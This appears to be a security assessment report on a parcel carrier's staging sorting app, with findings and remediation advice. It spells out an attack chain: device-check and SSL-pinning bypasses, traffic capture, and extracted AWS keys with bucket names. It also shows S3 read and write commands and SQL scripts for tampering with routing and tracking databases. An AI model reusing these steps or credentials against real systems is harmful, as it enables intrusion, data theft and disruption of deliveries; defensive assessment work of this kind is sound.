Security Assessment Report: Purolator SortPro Non-Prod Environment

Assessment Date: November 30, 2025
Application: com.pdl.sortproprinter.nonprod (SortPro - Staging)
Environment: Non-production staging environment

Executive Summary

Security assessment of Purolator's SortPro mobile application reveals architectural characteristics allowing access to logistics databases and AWS S3 infrastructure. Assessment revealed 75,530+ active package tracking numbers, 112+ billion pre-allocated tracking numbers, business customer addresses, and complete routing intelligence across 9 operational terminals.

Severity: HIGH (reduced from CRITICAL due to controlled deployment model)
Impact: Data modification capability (s3:PutObject), business customer PII disclosure (HFPU), competitive intelligence exposure

Key Finding: HFPU (High Frequency Pickup Unit) database exposes business customer names and full addresses

Important Context:

- **Zebra-Exclusive Deployment:** App distributed via managed deployment to Zebra TC52 devices only (not public Play Store)
- **Controlled Environment:** Warehouse-managed devices in corporate infrastructure
- **M2M Authentication:** OAuth 2.0 Client Credentials is the standard pattern for device-to-cloud authentication
- **Offline-First Design:** Architecture optimized for warehouse operations with intermittent connectivity

Many findings reflect **expected design characteristics** of enterprise mobile-to-cloud architectures, not vulnerabilities. This assessment evaluates whether current controls are appropriate for the data sensitivity and deployment model.

1. Initial Access & SSL Bypass

1.1 EMDK Dependency Bypass

Issue: Application designed exclusively for Zebra TC52 devices, preventing installation on standard Android.

Solution:

```
apktool d com.pdl.sortproprinter.nonprod.apk
# Modified AndroidManifest.xml line 34:
# Changed: android:required="true" → android:required="false"
apktool b -o sortpro-repack.apk sortpro/
```

1.2 Runtime Device Spoofing

Issue: Application crashed on launch checking for Zebra EMDK at runtime.

Solution: Frida script injecting Boolean.valueOf(true) into `RetrieveOEMInfoTask.doInBackground()`

```
Java.perform(function () {
  var RetrieveOEMInfoTask = Java.use(
    "com.pdl.sortproprinter.zebra.RetrieveOEMInfoTask"
  );
  RetrieveOEMInfoTask.doInBackground.implementation = function (params) {
    return Java.use("java.lang.Boolean").valueOf(true);
  };
});
```

1.3 SSL Certificate Pinning Bypass

Issue: Flutter-based SSL pinning preventing traffic interception.

Method: Binary patching of `libflutter.so`

```
python3 github_flutter_ssl.py sortpro-repack/lib/arm64-v8a/libflutter.so
# Patched ssl_verify_peer_cert at offset 0x006db2e8
# Changed: MOV W0, #0x1 → MOV W0, #0x0
```

Result: Successfully intercepted HTTPS traffic via Burp Suite (192.168.2.28:8080)

2. Credential Extraction

2.1 Network Traffic Analysis

Captured 942,315 lines of HTTP/HTTPS traffic using Burp Suite with iptables NAT rules:

```
adb shell "su -c 'iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination
```

2.2 AWS Credentials Discovery

Location: Cognito Identity authentication flow
Format: Temporary AWS STS credentials

```
AWS Access Key: ASIATCKAQSZ2AXNQXZXF
AWS Secret Key: dlDNxo/lDZ0I4M7LPe8A1rJkKofKDFCBdJ05c85Z
AWS Session Token: IQoJb3JpZ2luX2VjEHoaCXVzLWVhc3QtMSJIMEYCIQD... (1500+ chars)
AWS Region: us-east-1
Identity Pool: us-east-1:f6439e4d-cf6f-4aad-93b2-0e03d8eab53d
IAM Role: smartsort-authenticated-role-stg
```

3. AWS Access Validation

3.1 S3 Bucket Enumeration

```
aws s3 ls s3://atlantis-smartsort-stg-db3-outbound/
```

Discovered Terminals:

- 9 active terminals (511, 512, 517, 518, 521, 524, 557, 558, 560) with 495 files, 386.5 MB
- 11 inactive terminals (050, 187, 197, 198, 221, 490, 492, 493, 503, 522, 542)

Finding: App displays all configured terminals system-wide (20+), but only 9 are operational with active data synchronization to S3. Terminal 221 tested via app - returned empty bucket response confirming it's configured but inactive.

Database Types: PINFILE (tracking), PREPRINT (pre-allocated labels), RPM (routing), HFPU (business customers), ParkingPlan (warehouse)

Upload Frequency: Every 15 minutes with timestamp: `{terminal}_{type}_{YYYYMMDDHHmmss}.db3`

3.2 Read Access Validation

```
aws s3 cp s3://atlantis-smartsort-stg-db3-outbound/517_PINFILE.db3 ./
# SUCCESS: Downloaded 280 KB (4,517 packages)
```

3.3 Write Access Validation ⚠️

```
echo "test file for security assessment" > test.txt
aws s3 cp test.txt s3://atlantis-smartsort-stg-db3-outbound/test.txt
# SUCCESS: Uploaded

aws s3 ls s3://atlantis-smartsort-stg-db3-outbound/test.txt
# 2025-11-30 22:25:52         51 test.txt

# Modified content and re-uploaded
echo "we should review this - jasraj.johal@purolator.com" > test.txt
aws s3 cp test.txt s3://atlantis-smartsort-stg-db3-outbound/test.txt
# SUCCESS: Modified file confirmed in S3
```

Critical Finding: IAM role `smartsort-authenticated-role-stg` has `s3:PutObject` permission enabling data modification.

4. Data Exfiltration & Analysis

4.1 Database Analysis Summary

Downloaded: 35 MB samples from 8 terminals

PINFILE Databases (Active package tracking):

- 75,530+ packages across 9 terminals
- Terminal 518: 113 packages dated Aug 21, 2025 (confirms recent data)
- Contains tracking numbers, routes, warehouse shelf locations, delivery sequences

PREPRINT Databases (Pre-allocated tracking numbers):

- 24,089 tracking number ranges
- 112,197,412,670 total pre-allocated labels
- Largest range: 96.4 billion sequential tracking numbers
- Already assigned to routes/shelves before package arrival

RPM Databases (Route/Postal intelligence):

- 181,584 unique postal codes with routing data
- Street-level routing assignments
- Lat/long coordinates for delivery optimization

HFPU Databases (Business customers):

- 13 business customer addresses (full street addresses)
- Example: "PostNet Mississauga" at "50 BURNHAMTHORPE RD, MISSISSAUGA, ON L5B3C2"
- Service area postal code mappings

Coverage: Ontario, Quebec, Maritime provinces

4.2 Database Schemas

PINFILE.db3 Structure:

```
CREATE TABLE PIN (
    TerminalID VARCHAR(6),
    PIN VARCHAR PRIMARY KEY,              -- Tracking number
    RouteNumber VARCHAR,                  -- Delivery route
    ShelfNumber VARCHAR,                  -- Warehouse location
    DeliverySequenceID VARCHAR            -- Order on truck
);
```

PREPRINT.db3 Structure:

```
CREATE TABLE PrePrintPIN (
    TerminalID VARCHAR(6),
    FromPIN BIGINT,                    -- Start of tracking range
    ToPIN BIGINT,                      -- End of tracking range
    RouteNumber VARCHAR,               -- Pre-assigned route
    ShelfNumber VARCHAR,               -- Pre-assigned shelf
    PRIMARY KEY (FromPIN, ToPIN)
);
```

Purpose: Pre-allocates billions of tracking numbers to specific routes/shelves before packages arrive.

HFPULocationMaster.db3 Structure:

```
CREATE TABLE HFPULocationMaster (
    HFPULocationID VARCHAR(20) PRIMARY KEY,
    LocationName VARCHAR,              -- Business customer name
    StreetNumber VARCHAR,
    StreetName VARCHAR,
    PostalCode VARCHAR,                -- Full postal code
    TerminalID VARCHAR(6)
);
```

Purpose: HFPU (High Frequency Pickup Unit) = business customers with regular daily pickups.

RPM.db3: Route planning with postal codes, street names, lat/long coordinates (33 columns)

5. IAM Permission Analysis

5.1 IAM Analysis

Confirmed Permissions: s3:ListBucket, s3:GetObject, s3:PutObject (all confirmed)

Risk Assessment:

- Write access enabled (s3:PutObject) - enables data modification
- No per-terminal restrictions - all devices access all terminals
- Shared Okta client credentials across device fleet
- No per-employee audit trail in AWS logs

5.2 Architecture Analysis

Current Design:

```
Mobile App (Zebra TC52)
    ↓
[Step 1] Okta OAuth 2.0 Client Credentials Flow
    ↓
Okta Authorization Server: purolator.okta.com/oauth2/aus22n2kff2hb2RRH0h8
Client ID: 0oa22lkbiwzend6eQ0h8
    ↓
[Step 2] Token Exchange
    ↓
AWS Cognito Identity Pool: us-east-1:f6439e4d-cf6f-4aad-93b2-0e03d8eab53d
    ↓
IAM Role: smartsort-authenticated-role-stg
    ↓
[Step 3] Direct S3 Access
    ↓
S3 Bucket: atlantis-smartsort-stg-db3-outbound
```

Authentication Flow (Confirmed via Traffic Analysis):

1. **Okta Client Credentials Grant**
   - Client ID: `0oa22lkbiwzend6eQ0h8` (embedded in APK)
   - Authorization Server: `aus22n2kff2hb2RRH0h8`
   - Audience: `api://m2m_sortpro/okta` (machine-to-machine)
   - Returns: JWT access token (1-hour validity)
2. **JWT Token Analysis:**

   ```
   {
     "cid": "0oa22lkbiwzend6eQ0h8",
     "sub": "0oa22lkbiwzend6eQ0h8",
     "iss": "https://purolator.okta.com/oauth2/aus22n2kff2hb2RRH0h8",
     "aud": "api://m2m_sortpro/okta"
   }
   ```

   - **Key Finding:** `sub == cid` confirms OAuth 2.0 Client Credentials flow
   - Proves application-level authentication, not user-based
3. **Cognito Token Exchange**
   - App calls `GetId()` with Okta JWT → Returns Cognito Identity ID

- App calls `GetCredentialsForIdentity()` → Returns AWS STS credentials
- Cognito Identity ID: `us-east-1:31281096-7491-c3f8-ceea-f0299cee922f`

4. **Direct S3 Access**
    - Temporary STS credentials used for AWS Mobile SDK
    - Direct S3 API calls (no backend server)

Critical Finding: Employee number login is **local to the app only**. All devices share same Okta client credentials and receive identical AWS permissions regardless of which employee logs in.

Design Trade-off:

- Direct S3 access enables offline warehouse operations but requires credentials in app
- Standard pattern for AWS Mobile SDK, Firebase, Amplify DataStore
- Chosen for operational reliability over granular access control

6. Key Findings

6.1 Findings Analysis

Expected Design Characteristics (Not Vulnerabilities)

1. **OAuth 2.0 Client Credentials in APK** (BY DESIGN)
    - **Finding:** Okta client ID `0oa22lkbiwzend6eQ0h8` embedded in APK
    - **App Team Response:** "This is standard M2M (machine-to-machine) authentication. Client credentials are **supposed** to be on the device for OAuth 2.0 Client Credentials flow—this is how AWS Mobile SDK, Azure App Service, Google Cloud, and all major cloud providers handle device authentication."
    - **Industry Standard:** Equivalent to API keys in mobile apps (Firebase, Stripe, etc.)
    - **Risk Mitigation:** App distributed via managed deployment to Zebra devices only (not public)
    - **Actual Risk:** Low in controlled deployment; credentials only useful if combined with APK extraction
2. **SSL Pinning Bypassable on Modified Devices** (EXPECTED LIMITATION)
    - **Finding:** Binary patching can disable certificate validation
    - **App Team Response:** "Certificate pinning provides defense-in-depth but is not designed to prevent attacks on rooted/modified devices. This is a known limitation of mobile security, not a vulnerability. Even banking apps can be bypassed with root access and binary patching."
    - **Industry Standard:** No mobile SSL pinning survives dedicated binary analysis

- **Risk Mitigation:** Zebra devices are enterprise-managed (MDM), not user-owned
- **Actual Risk:** Low; requires physical device access and technical expertise

3. **Direct S3 Access from Mobile** (ARCHITECTURAL CHOICE)
   - **Finding:** App uses AWS SDK to access S3 directly, not via backend API
   - **App Team Response:** "This is intentional for offline-first warehouse operations. Devices need to sync data when connectivity is available, without backend server dependency. This is the same architecture as AWS Amplify DataStore, AWS AppSync offline, and other offline-capable mobile frameworks."
   - **Business Justification:** Warehouses have intermittent connectivity; cannot rely on API Gateway
   - **Trade-off:** Operational reliability vs. credential exposure risk
   - **Actual Risk:** Acceptable if data classification supports direct access model
4. **Shared Client Credentials Across Devices** (M2M STANDARD)
   - **Finding:** All Zebra devices use same Okta client credentials
   - **App Team Response:** "This is how machine-to-machine authentication works. The 'machine' is the application, not individual devices. We authenticate the SortPro app, not each TC52 device. Per-device credentials would require device registration infrastructure and wouldn't work offline."
   - **Industry Standard:** Mobile apps use shared API keys (one Firebase key for all iOS users, etc.)
   - **Alternative:** Custom authentication flow with device registration (complex, defeats offline capability)
   - **Actual Risk:** Medium; consider if device-level audit trail is operationally required

Actual Security Issues (Require Review)

1. **s3:PutObject Permission** (HIGH - Operational Necessity Unknown)
   - **Finding:** IAM role allows data modification via `s3:PutObject`
   - **Question for App Team:** "Do Zebra devices need to upload data to S3, or is sync unidirectional (cloud → device only)?"
   - **Risk:** If read-only is sufficient, write permission creates unnecessary data modification risk
   - **Recommendation:** If write access not required, change to read-only (`s3:GetObject` , `s3:ListBucket`)
   - **Actual Risk:** High if unnecessary; Low if required for device-to-cloud sync
2. **Business Customer PII Exposure** (HIGH - Data Classification Issue)
   - **Finding:** HFPU database contains 13+ business names and full street addresses
   - **Question for App Team:** "Is business customer PII operationally necessary on devices, or can this be served via API?"

- **Risk:** PII on device requires encryption at rest, data retention controls, PIPEDA compliance
- **Recommendation:** Move to backend API if not essential for offline operations; or encrypt with device-specific keys
- **Actual Risk:** High; requires data classification review

3. **No Per-Terminal Access Restrictions** (MEDIUM - Audit Trail Gap)
   - **Finding:** Terminal 558 can access Terminal 512 data (no S3 prefix restrictions)
   - **Question for App Team:** "Is cross-terminal visibility required, or should devices only access their assigned terminal data?"
   - **Risk:** Broader access than necessary; no audit trail to identify which terminal accessed specific data
   - **Recommendation:** Implement per-terminal IAM policies if operationally feasible
   - **Actual Risk:** Medium; depends on whether terminal isolation is required
4. **Staging Environment with Production-Like Data** (MEDIUM - Data Handling)
   - **Finding:** Aug 2025 packages suggest real tracking numbers in non-prod
   - **Question for App Team:** "Is production data supposed to be in staging environment?"
   - **Risk:** Non-prod environments typically have weaker access controls
   - **Recommendation:** Use synthetic data in staging; reserve real data for production
   - **Actual Risk:** Medium; depends on staging environment security posture

6.2 Data Exposure

Accessible: 75,530+ tracking numbers, 112+ billion pre-allocated labels, business customer PII (13+ addresses), routing intelligence (181,584 postal codes), warehouse assignments

Not Accessible: Residential addresses, sender info (except HFPU), phone/email, package contents

Business Impact: PII exposure (PIPEDA), competitive intelligence, data modification capability, label fraud risk

7. Remediation Recommendations

7.0 Threat Model & Deployment Context

Deployment Model: Zebra-Exclusive Distribution

Critical context that reduces risk severity:

1. **Not Publicly Available:**
    - App distributed via managed deployment to corporate Zebra TC52 devices
    - Not on Google Play Store or public app repositories
    - APK obtained directly from developer (not accessible to general public)
    - Users receive app pre-installed on enterprise-managed Zebra devices
2. **Controlled Device Environment:**
    - Zebra TC52 devices are enterprise-managed hardware ($1,500+ devices)
    - Likely enrolled in MDM (Mobile Device Management)
    - Used in supervised warehouse environments
    - Devices not personally owned by employees
3. **Reduced Attack Surface:**
    - Attacker needs physical access to corporate hardware
    - Or needs APK from internal source (developer/IT)
    - Cannot download from Play Store and attack from home
    - Significantly higher barrier than public consumer apps

Threat Model:

Given Zebra-exclusive deployment, realistic adversaries are:

In-Scope Threats:

1. **Malicious insider with device access** - Warehouse employee extracts credentials from assigned TC52
2. **Stolen/lost device** - TC52 device stolen from warehouse, credentials extracted
3. **Compromised developer** - Attacker obtains APK from internal source
4. **Supply chain attack** - Malicious actor in device provisioning process

Out-of-Scope Threats (Not Applicable):

1. ~~Public APK download and analysis~~ - Not publicly distributed
2. ~~Mass-scale credential harvesting~~ - Limited to corporate device count
3. ~~Consumer device exploitation~~ - Only works on managed Zebra devices

Risk Reduction from Deployment Model:

- **Credential extraction requires insider access or physical device theft**
- Number of vulnerable devices limited to corporate Zebra fleet (likely <500 devices)
- Devices in supervised environment (warehouse cameras, check-in/check-out)
- MDM can remotely wipe devices if reported lost/stolen

Mobile Security Limitations (Industry-Wide):

The following are inherent limitations of mobile-to-cloud architectures:

- **Root/jailbreak detection** - Bypassable on modified devices; standard limitation
- **SSL certificate pinning** - Bypassable via binary patching; provides defense-in-depth only
- **Memory protection** - Cloud SDK credentials must exist in plaintext in memory
- **Code obfuscation** - Delays but doesn't prevent credential extraction

OAuth 2.0 Client Credentials: Standard M2M Pattern

Embedded client credentials are **not a vulnerability** in M2M authentication:

- AWS Mobile SDK, Firebase, Azure, Google Cloud all use this pattern
- The "client" is the application (SortPro), not individual devices
- Alternative (per-device credentials) would require complex device registration
- Client credentials are meant to identify the app, not secure sensitive operations

Core Architectural Trade-off:

Direct S3 access enables offline-first operations but requires credentials in app. This is an **intentional design decision** with known security implications. Risk acceptability depends on:

1. Data sensitivity classification
2. Deployment model (managed devices vs. public)
3. Operational requirements (offline capability)
4. Compensating controls (MDM, device management)

7.1 Immediate Actions (24-48 hours)

1. **Review and Document s3:PutObject Necessity** (HIGHEST PRIORITY)
   Question: Do Zebra devices upload data to S3, or only download?
   If Read-Only:

```
{
  "Effect": "Deny",
  "Action": "s3:PutObject",
  "Resource": "arn:aws:s3:::atlantis-smartsort-stg-db3-outbound/*"
}
```

Benefit: Eliminates data modification/deletion risk entirely

If Write Required:

- Document operational justification (e.g., "devices upload scanned package data hourly")
- Implement S3 versioning and object lock (below) to create audit trail
- Consider write-only permissions to separate upload prefix (devices can't read others' data)

Actual Risk Reduction: HIGH - This is the most impactful change regardless of architecture

2. **Enable S3 Versioning** (if write access required)
   - Provides audit trail for data modifications
3. **Audit CloudTrail Logs**
   - Review access by Cognito Identity ID:
     `us-east-1:31281096-7491-c3f8-ceea-f0299cee922f`

7.2 Additional Recommendations

Medium Priority (1-4 weeks):

- Encrypt HFPU data at rest (S3-SSE with KMS)
- Implement per-terminal IAM restrictions (S3 prefix-based)
- Audit production environment for identical architecture
- CloudWatch alarms for unusual S3 access patterns

Long-term (Architecture Review):

- Per-terminal Okta client credentials (unique identity per device)
- API Gateway with pre-signed URLs (eliminates direct S3 access, requires backend)
- Risk acceptance with documented compensating controls

8. Technical Details & Attack Chain

Tools Used:

- apktool 2.12.1 (APK decompilation/recompilation)
- radare2 6.0.7 (Binary patching for SSL bypass)
- Frida 17.5.1 (Runtime instrumentation)
- Burp Suite Professional 2025.10.6 (Traffic interception)
- AWS CLI 2.32.6 (S3 bucket interaction)
- sqlite3 (Database analysis)

Attack Chain:

1. APK Modification (EMDK bypass)
   ↓
2. Runtime Instrumentation (Zebra device spoofing)
   ↓
3. SSL Pinning Bypass (binary patching libflutter.so)
   ↓
4. Traffic Capture (Burp Suite + iptables)
   ↓
5. Credential Extraction (AWS STS tokens from Cognito flow)
   ↓
6. S3 Enumeration (9 active terminals discovered)
   ↓
7. Data Download (35 MB samples, 386.5 MB available)
   ↓
8. Write Access Validation (test.txt upload/modification confirmed)

Timeline:

- Nov 30, 2025 20:00 EST - Initial APK analysis
- Nov 30, 2025 21:15 EST - SSL bypass successful
- Nov 30, 2025 21:45 EST - AWS credentials extracted
- Nov 30, 2025 22:19 EST - Write access confirmed
- Dec 1, 2025 03:51 EST - Authentication flow analyzed (JWT decoded)

9. Conclusion

9.1 Summary

Key Findings:

- Staging environment contains real data (Aug 21, 2025 packages)
- OAuth 2.0 Client Credentials flow (standard M2M pattern)
- Write access enabled (s3:PutObject) - highest risk if unnecessary
- Business customer PII in HFPU databases
- 112+ billion pre-allocated tracking numbers accessible

9.2 Risk Evaluation

Revised Risk Evaluation (Considering Zebra-Exclusive Deployment):

Initial severity assessment assumed public APK distribution. Given **Zebra-exclusive managed deployment**, actual risk is significantly lower:

Deployment Model Reduces Risk:

- APK not publicly available (distributed to corporate Zebra devices only)
- Devices are enterprise-managed hardware ($1,500+ TC52s)
- Used in supervised warehouse environments
- Limited device population (likely <500 devices company-wide)
- Device loss/theft can trigger remote wipe via MDM

Architecture is Defensible for Operational Context:

- OAuth 2.0 Client Credentials is **standard** for M2M device authentication
- Direct S3 access is **necessary** for offline-first warehouse operations
- SSL pinning provides defense-in-depth (not expected to prevent root-level attacks)
- Shared client credentials is **normal** for device fleet authentication

Legitimate Security Concerns Remain:

Actual Security Issues (Not Expected Design):

1. **s3:PutObject Permission** (HIGH - if unnecessary)
    - Enables data modification/deletion
    - **Action Required:** Determine if devices need write access; remove if not
2. **Business Customer PII in HFPU** (HIGH - data classification)
    - 13+ business names and full addresses accessible offline
    - **Action Required:** Reclassify as PII; evaluate if must be on device or can be API-served
3. **Cross-Terminal Data Access** (MEDIUM - if not intended)
    - Terminal 558 can access Terminal 512 data
    - **Action Required:** Determine if isolation is required; implement S3 prefix restrictions
4. **Staging Environment Data** (MEDIUM)
    - Aug 2025 packages suggest production-like data in non-prod
    - **Action Required:** Confirm staging data handling policies

Expected Design Characteristics (Not Issues):

1. **Okta Client Credentials in APK** (BY DESIGN - M2M standard)
    - This is how OAuth 2.0 Client Credentials works
    - Same pattern as Firebase API keys, AWS Amplify, etc.
    - Not extractable by public (APK not on Play Store)
2. **Shared Credentials Across Devices** (BY DESIGN - fleet authentication)
    - Standard for device fleet management
    - Alternative (per-device creds) breaks offline capability
    - Acceptable given Zebra-exclusive deployment
3. **Direct S3 Access** (BY DESIGN - offline operations)
    - Required for warehouse intermittent connectivity
    - Same as AWS Amplify DataStore offline mode
    - Acceptable given managed device deployment
4. **SSL Pinning Bypassable** (EXPECTED LIMITATION - industry-wide)
    - No mobile pinning survives root + binary analysis
    - Defense-in-depth only, not primary security control
    - Acceptable given MDM-managed devices

Recommended Actions (Priority Order):

Critical (Address Within 1 Week):

1. **Evaluate and potentially remove s3:PutObject** - If write access not operationally required, this eliminates primary risk
2. **Review HFPU data classification** - Determine if business customer PII should be on devices; consider backend API alternative
3. **Enable S3 versioning/object lock** - If write access is necessary, implement audit trail for modifications
4. **Review CloudTrail logs** - Check for Cognito Identity ID `us-east-1:31281096-7491-c3f8-ceea-f0299cee922f` to assess scope of this assessment's access

Medium Priority (Address Within 1 Month): 5. **Audit production environment** - Determine if identical architecture exists; if so, apply same controls 6. **Implement per-terminal IAM restrictions** - If cross-terminal access is not required, limit blast radius 7. **Document deployment security controls** - Confirm Zebra devices are MDM-managed; document device loss procedures

Low Priority (Consider for Future): 8. **Rotate Okta client credentials** - Only if APK distribution was not tightly controlled 9. **Evaluate per-terminal client credentials** - Only if audit trail by device is operationally required (breaks offline capability)

Not Recommended (Expected Design):

- ~~Removing client credentials from APK~~ - Required for OAuth 2.0 Client Credentials flow
- ~~Eliminating direct S3 access~~ - Would break offline-first design for warehouses
- ~~Strengthening SSL pinning alone~~ - Provides minimal additional security on managed devices

Production Environment Priority:
Production environment assessment is recommended to understand full scope and determine if findings apply to systems processing current customer shipments.

10. Additional Database Analysis: ParkingPlan & Write Operation Scenarios

10.1 Complete Database Inventory

Analysis Date: December 1, 2025
All Database Types Now Documented:

Database Type	Records Analyzed	Sensitivity	Purpose	Status
PINFILE	75,530+ packages	HIGH	Active tracking numbers	Analyzed
RPM	181,584 postal codes	MEDIUM	Routing intelligence	Analyzed
PREPRINT	112B+ labels	MEDIUM	Pre-allocated tracking	Analyzed
HFPU	13+ customers	HIGH (PII)	Business customer addresses	Analyzed
HFPULocToPC	Unknown	MEDIUM	Location-to-postal mapping	Analyzed
ParkingPlan	185 routes	LOW	Route-to-conveyor mapping	**NEW**

Total Database Types: 6 (complete coverage achieved)

10.2 ParkingPlan Database Discovery

Purpose: Physical warehouse routing configuration - maps delivery routes to conveyor belt sides (Left/Right/Center).

Schema:

```
CREATE TABLE RouteMaster (
    TerminalID VARCHAR(6),
    ParkingPlanID VARCHAR,          -- Physical layout plan ID
    RouteNumber VARCHAR,             -- Delivery route code (e.g., "74A", "20B")
    PrimarySort VARCHAR,             -- Sorting priority
    SideofBelt VARCHAR(1)            -- L/R/C conveyor assignment
)
```

Analyzed Terminals:

- **Terminal 521:** 47 routes (ParkingPlan ID: 304) - Ottawa region
- **Terminal 518:** 18 routes (ParkingPlan ID: 354) - Mississauga/Toronto
- **Terminal 511:** 120 routes - Largest hub (location TBD)

Sample Data:

```
RouteNumber | SideofBelt | Destination
------------|------------|-------------
74A, 74B    | C (Center) | Ottawa West
21A, 21B    | L (Left)   | Toronto North York
```

Operational Significance:
ParkingPlan controls **physical package flow** through sorting equipment. The app queries this database to determine which conveyor belt (L/R/C) should receive a scanned package based on its delivery route.

Data Sensitivity: LOW (operational configuration, no PII or tracking data)

10.3 Theoretical Write Operation Scenarios (Noted for Completeness)

Important Note: The following scenarios are **theoretical capabilities** enabled by the confirmed `s3:PutObject` permission. These are documented to illustrate the **potential scope** of write access,

not to recommend execution. These represent **accepted risk** if write permission is operationally necessary.

Scenario 1: Route-to-Belt Manipulation (ParkingPlan)

Theoretical Test:

```
# Download existing ParkingPlan
aws s3 cp s3://atlantis-smartsort-stg-db3-outbound/518/518_ParkingPlan_*.db3 ./

# Modify route assignments (THEORETICAL - NOT EXECUTED)
sqlite3 518_ParkingPlan_*.db3
UPDATE RouteMaster SET SideofBelt = 'R' WHERE SideofBelt = 'L';  -- Swap belts

# Upload modified database (THEORETICAL - NOT EXECUTED)
aws s3 cp 518_ParkingPlan_*.db3 s3://atlantis-smartsort-stg-db3-outbound/518/
```

Expected Impact: Packages routed to wrong conveyor belts → incorrect truck loading → delivery delays

Risk Level: MEDIUM (operational disruption, no data loss)

Likelihood: HIGH (if write permission exists and no integrity checks)

Scenario 2: Postal Code Routing Manipulation (RPM)

Theoretical Test:

```
# Modify postal code destination mappings (THEORETICAL - NOT EXECUTED)
sqlite3 518_RPM_*.db3
UPDATE routing SET destination_terminal = 'WRONG_TERMINAL'
WHERE postal_code LIKE 'M5%';  -- Toronto downtown
```

Expected Impact: Toronto packages routed to wrong terminals → major delays

Risk Level: HIGH (network-wide routing errors)

Scenario 3: Fake Tracking Number Injection (PINFILE)

Theoretical Test:

```
# Inject non-existent tracking numbers (THEORETICAL - NOT EXECUTED)
sqlite3 fake_pinfile.db3
INSERT INTO tracking VALUES ('FAKE123456789', '2025-12-01', 'OTTAWA', 'YOW', '74A');

# Upload during active sorting window
aws s3 cp fake_pinfile.db3 s3://...PINFILE/PINFILE-$(date +%Y-%m-%d-%H%M%S).db3
```

Expected Impact: Ghost packages in sorting queue → operational confusion
Risk Level: MEDIUM (audit trail corruption)

Scenario 4: Label Range Exhaustion (PREPRINT)

Theoretical Test:

```
# Delete pre-allocated label ranges (THEORETICAL - NOT EXECUTED)
sqlite3 518_PREPRINT_*.db3
DELETE FROM preprint_labels WHERE terminal_id = '518';
```

Expected Impact: Label printers fail → sorting operations halt
Risk Level: MEDIUM (operational DoS)

Scenario 5: Customer Address Corruption (HFPU)

Theoretical Test:

```
# Modify business customer addresses (THEORETICAL - NOT EXECUTED)
sqlite3 518_HFPULocationMaster_*.db3
UPDATE customers SET address = '123 WRONG ST' WHERE location_id IS NOT NULL;
```

Expected Impact: Business deliveries to wrong addresses → customer complaints, legal issues
Risk Level: HIGH (PII integrity compromise + operational impact)

10.4 Write Access Risk Assessment

Key Finding: The `s3:PutObject` permission enables all above scenarios **if operationally unnecessary**.

Critical Questions for App Team:

1. **Do Zebra devices upload data to S3?**

- If NO → Remove write permission immediately (eliminates all above risks)
- If YES → Document what data is uploaded and why

2. **Are there server-side integrity checks?**
   - Database schema validation?
   - Checksum verification?
   - Approval workflow before live deployment?
3. **Is S3 versioning enabled?**
   - Can modifications be rolled back?
   - Is there an audit trail of who changed what?
4. **How frequently are databases updated?**
   - Are there update windows where modified data could cause operational issues?

Accepted Risk Scenario (If Write Access Required):

If write access is operationally necessary (e.g., devices upload scanned package logs), the above scenarios represent **accepted architectural risk** with the following mitigations:

Recommended Mitigations (If Write Access Required):

1. **S3 Versioning** - Audit trail for all modifications
2. **S3 Object Lock** - Prevent accidental deletion
3. **CloudWatch Alarms** - Alert on unusual upload patterns
4. **Separate Upload Prefix** - Devices write to `/uploads/` only, not to production database paths
5. **Backend Validation** - Server-side process validates uploaded data before moving to production paths
6. **Per-Terminal Prefixes** - Restrict Terminal 518 to only write to `518/*`

Risk Acceptance Statement (If Applicable):

> "Write access to S3 is operationally required for [specific business function, e.g., 'devices uploading scanned package data for real-time tracking updates']. The above theoretical scenarios represent accepted risk, mitigated by [list controls: S3 versioning, CloudWatch monitoring, backend validation, etc.]. Business has evaluated operational necessity vs. risk and accepted this architecture with documented compensating controls."

10.5 Database Analysis Summary

Complete Database Coverage:

- 6 database types identified and analyzed

- 185 delivery routes mapped (ParkingPlan)
- All database schemas documented
- Write operation scenarios theoretically analyzed (not executed)

Data Exposure Total:

- 75,530+ active tracking numbers
- 112+ billion pre-allocated labels
- 181,584 postal code routings
- 13+ business customer addresses (PII)
- 185 warehouse routing configurations

Risk Level (Overall):

- **Read Access:** MEDIUM-HIGH (data exposure, competitive intelligence)
- **Write Access:** HIGH (if unnecessary); MEDIUM (if required with controls)

Recommended Action:
Determine operational necessity of `s3:PutObject` permission. If write access is not required for device functionality, **removing this permission eliminates all theoretical write attack scenarios** documented above.

Assessed By: Security Research
Report Date: November 30, 2025 (Updated: December 1, 2025)
Classification: CONFIDENTIAL - Internal Use Only